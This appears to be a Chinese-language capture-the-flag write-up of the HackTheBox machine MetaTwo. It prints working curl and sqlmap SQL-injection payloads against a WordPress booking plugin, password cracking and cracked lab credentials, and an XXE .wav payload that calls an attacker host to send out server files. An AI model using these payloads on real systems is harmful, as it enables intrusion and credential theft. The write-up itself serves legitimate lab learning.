HTB 靶机 MetaTwo 学习记录
外网打点
拿到目标 IP,先 nmap 扫,发现开了 80 端口
设置 hosts,添加如下
1 | 10.10.11.186 metapress.htb |
成功访问 80 端口,能够看到这其实是一个用 WordPress 搭建的网站,直接用 kali 自带的 wpscan 扫描
比较有用的信息有信息泄露,以及 WordPress 版本,这里可以看到版本是 5.6.2,以及一些其他的可用信息,因为洞很多,所以这里肯定需要我们手动探测去思考一下最有可能被我们利用的是哪个漏洞,这里我看到 /events
目录下能够预定会议,感觉应该就是这里了,SQL 注入的洞。
但是当时探测了很久都没打通,通过扫描 /events
目录发现了 booking press 框架,版本为 1.0.10,通过搜索发现,这个框架版本有 sql 注入的漏洞 https://wpscan.com/vulnerability/388cd42d-b61a-42a4-8604-99b812db2357
根据漏洞描述,这里需要加入一个 wpnonce
字段,而这一字段我们是可以直接从源代码里面找的,我这里的是 c290c8df1f
payload 如下
1 | curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c290c8df1f&category_id=33&total_service=-7502) UNION ALL SELECT @@version,@@version_comment,@@version_compile_os,1,2,3,4,5,6-- -' |
这里成功的将数据库版本等信息打出来了
SQL 注入三步走,爆数据库为 blog
1 | curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=bookingpress_front_get_category_services&_wpnonce=c290c8df1f&category_id=33&total_service=-7502) UNION ALL SELECT @@version,database(),@@version_compile_os,1,2,3,4,5,6-- -' |
将这个数据包保存下来,然后用 sqlmap 去跑,当然用 curl 也可以
1 | curl -i 'http://metapress.htb/wp-admin/admin-ajax.php' --data 'action=b |
admin.req
1 | POST /wp-admin/admin-ajax.php HTTP/1.1 |
命令行如下爆库
1 | sqlmap -r admin.req -p total_service --dbs |
爆表
1 | sqlmap -r admin.req -p total_service -D blog --tables |
主要看一下 wp_user 里面放了什么,爆列
1 | sqlmap -r admin.req -p total_service -D blog -T wp_users --columns |
后续就是爆内容,这一步的爆内容我感觉要很久,所以就直接把结果贴在这边了
1 | admin $P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV. |
通过 john 爆破一下
1 | john -w=/usr/share/wordlists/rockyou.txt hash |
只能爆破出 manager 的密码
1 | manager:partylikearockstar |
这个密码肯定是用来登录 web 端后台页面的,所以去到默认接口 /wp-login.php
,登录成功
进去之后就还是那个问题,这个洞它不顶用啊,拿不到 shell,且目前我们已知的信息和 wp-scan 给我们的信息是一样的,WordPress 版本 v5.6.2,一般挖洞的时候会说最好 RCE,退而求其次 SSRF,实在不行 XXE
因为这里有个文件上传的功能点,猜测应该是一个 xxe 的洞,而 WordPress v5.6.2 就存在一个 XXE 的漏洞
1 | https://www.acunetix.com/vulnerabilities/web/wordpress-5-6-x-multiple-vulnerabilities-5-6-5-6-2/ |
这里的 payload 不是很明白为什么要用 .wav
的文件打,把恶意内容写进 payload.wav
1 | echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.17:9001/dedsec.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav |
编辑 dedsec.dtd
1 |
一上传文件就会发起请求,触发 xxe,我们再通过起的 web 服务可以查看文件内容
1 | php -S 0.0.0.1:9001 |
将内容 base64 解码一下
发现 XXE 能够打通,且发现了一个用户名为 jnelson 的用户
1 | jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash |
内网横移
那这里要怎么去获得 jnelson 的 password 就成为了很大的一个难点,如果是普通的 CTF 题目应该直接读 flag 就可以了,这里实在是读不到什么有用的信息,所以只能再读取一下其他信息。
已知后端用的中间件是 Nginx,这里应该可以先拿到根目录的位置,然后再根据根目录去读取 WordPress 的一些配置文件,例如 wp-config.php 这种类型的文件,里面应该保存了数据库的信息,这样一来的话我们可能会有所进展。
nginx 的默认配置文件在 /etc/nginx/sites-enabled/default
,我们尝试读取一下
1 | server { |
已知根目录是 /var/www/metapress.htb/blog
,尝试读取 /var/www/metapress.htb/blog/wp-config.php
wp-config.php
1 |
|
ftp 账号密码为:
1 | metapress.htb:9NYS_ii@FyL_p5M2NvJ |
成功脸上 ftp
1 | ftp 10.10.11.186 |
发现 mailer 里面有一个 send_email.php
文件,通过 get 命令传输到本机电脑上
1 | get send_email.php |
终于是成功拿到了 jnelson 的密码,这个密码应该是 ssh 的,我们尝试连一下,拿下!
拿下!
小结
挺有意思的题目,先 SQL 注入拿到普通用户权限,然后在进去之后继续打点,最后拿 shell,太有意思了
- 本文标题:HTB Machine MetaTwo
- 创建时间:2023-04-08 18:39:31
- 本文链接:2023/04/08/HTB-Machine-MetaTwo/
- 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!